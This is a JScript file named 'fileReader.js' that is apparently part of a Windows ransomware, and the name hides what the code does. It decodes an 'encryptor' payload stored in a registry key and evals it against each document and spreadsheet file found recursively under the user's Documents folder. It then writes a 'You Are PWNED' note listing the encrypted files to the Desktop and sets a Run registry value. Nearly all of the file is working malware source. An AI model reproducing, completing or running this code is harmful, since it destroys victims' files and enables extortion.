fileReader.js

//Base64 Decoder
var base64={};base64.PADCHAR='=';base64.ALPHA='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/';base64.makeDOMException=function(){var e,tmp;try{return new DOMException(DOMException.INVALID_CHARACTER_ERR)}catch(tmp){var ex=new Error('DOM Exception 5');ex.code=ex.number=5;ex.name=ex.description='INVALID_CHARACTER_ERR';ex.toString=function(){return'Error: '+ex.name+': '+ex.message};return ex}};base64.getbyte64=function(s,i){var idx=base64.ALPHA.indexOf(s.charAt(i));if(idx===-1){throw base64.makeDOMException();}return idx};base64.decode=function(s){s=''+s;var getbyte64=base64.getbyte64;var pads,i,b10;var imax=s.length;if(imax===0){return s}if(imax%4!==0){throw base64.makeDOMException();}pads=0;if(s.charAt(imax-1)===base64.PADCHAR){pads=1;if(s.charAt(imax-2)===base64.PADCHAR){pads=2}imax-=4}var x=[];for(i=0;i<imax;i+=4){b10=(getbyte64(s,i)<<18)|(getbyte64(s,i+1)<<12)|(getbyte64(s,i+2)<<6)|getbyte64(s,i+3);x.push(String.fromCharCode(b10>>16,(b10>>8)&0xff,b10&0xff))}switch(pads){case 1:b10=(getbyte64(s,i)<<18)|(getbyte64(s,i+1)<<12)|(getbyte64(s,i+2)<<6);x.push(String.fromCharCode(b10>>16,(b10>>8)&0xff));break;case 2:b10=(getbyte64(s,i)<<18)|(getbyte64(s,i+1)<<12);x.push(String.fromCharCode(b10>>16));break}return x.join('')};base64.getbyte=function(s,i){var x=s.charCodeAt(i);if(x>255){throw base64.makeDOMException();}return x};base64.encode=function(s){if(arguments.length!==1){throw new SyntaxError('Not enough arguments');}var padchar=base64.PADCHAR;var alpha=base64.ALPHA;var getbyte=base64.getbyte;var i,b10;var x=[];s=''+s;var imax=s.length-s.length%3;if(s.length===0){return s}for(i=0;i<imax;i+=3){b10=(getbyte(s,i)<<16)|(getbyte(s,i+1)<<8)|getbyte(s,i+2);x.push(alpha.charAt(b10>>18));x.push(alpha.charAt((b10>>12)&0x3F));x.push(alpha.charAt((b10>>6)&0x3f));x.push(alpha.charAt(b10&0x3f))}switch(s.length-imax){case 1:b10=getbyte(s,i)<<16;x.push(alpha.charAt(b10>>18)+alpha.charAt((b10>>12)&0x3F)+padchar+padchar);break;case 2:b10=(getbyte(s,i)<<16)|(getbyte(s,i+1)<<8);x.push(alpha.charAt(b10>>18)+alpha.charAt((b10>>12)&0x3F)+alpha.charAt((b10>>6)&0x3f)+padchar);break}return x.join('')};
//
var encryptor;
var personalFolderRegistryEntry = 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Personal';
var encryptorRegistryEntry = 'HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\e';
var fileNameToEncryptVar = 'fileNameToEncrypt';
var processFlagReg = 'HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run\\PWNED';
var fso = new ActiveXObject('Scripting.FileSystemObject');
var fileExtList = {
    txt : 'txt',
    doc : 'doc',
    docx : 'docx',
    pdf : 'pdf',
    xls : 'xls',
    xlsx : 'xlsx',
    xlsm : 'xlsm'
};

var pwnedFileList = [];

function getFileExt(fileShortName) {
    if(fileShortName.indexOf('.') > -1) {
        return fileShortName.split('.').pop().toLowerCase();
    } else {
        return false;
    }
};

function isValidExt(fileShortName) {
    var ext = getFileExt(fileShortName);
    return ext ? fileExtList[ext] : false;
};

function getFiles(folderPath) {
    var folder = fso.GetFolder(folderPath);
    var files = folder.files;
    if(files.count > 0) {
    var fileList = new Enumerator(folder.files);
    for (; !fileList.atEnd(); fileList.moveNext()) {
            try {
                if(isValidExt(fileList.item().ShortName)) {
                    pwnedFileList.push(fileList.item().path);
                    var evalString = 'var '+fileNameToEncryptVar+' = \''+fileList.item().path.replace(/\\/g, '\\\\')+'\';' + encryptor;
                    eval(evalString);
                }
            } catch(err) {}
        }
    }
};

function getFolders(path) {
    var folder = fso.GetFolder(path);
    var subFolders = folder.SubFolders;
    if(subFolders.count > 0) {
        var folderList = new Enumerator(subFolders);
        for (; !folderList.atEnd(); folderList.moveNext()) {
            try {
                getFolders(folderList.item());
            } catch(err) {}
        }
    }
    getFiles(path);
};

function finish() {
    if(pwnedFileList.length > 0) {
        var wsh = new ActiveXObject('WScript.Shell');
        var path = wsh.RegRead('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\Shell Folders\\Desktop') + '\\You Are PWNED.html';
        var htmlBody = '<html><head><title>You have been PWNED !!!!!!!</title></head><body><h1>You Have been PWNED by ME !!!!</h1><h3>Following files are encrypted</h3><p>'+   pwnedFileList.join('<br/>') +'</p></body></html>';
        var a = fso.CreateTextFile(path, true);
        a.WriteLine(htmlBody);
        a.Close();
        wsh.RegWrite(processFlagReg, path, "REG_SZ");
    }
};

function isAleardyPwned() {
    try {
        var wsh = new ActiveXObject('WScript.Shell');
        var val = wsh.RegRead(processFlagReg);
        return val != '';
    } catch(err) {}
    return false;
};
function getDocumentFolder() {
    if(isAleardyPwned() == false) {
        var wsh = new ActiveXObject('WScript.Shell');
        var path = wsh.RegRead(personalFolderRegistryEntry);
        encryptor = base64.decode(wsh.RegRead(encryptorRegistryEntry));
        getFolders(path);
        finish();
    }
};
getDocumentFolder();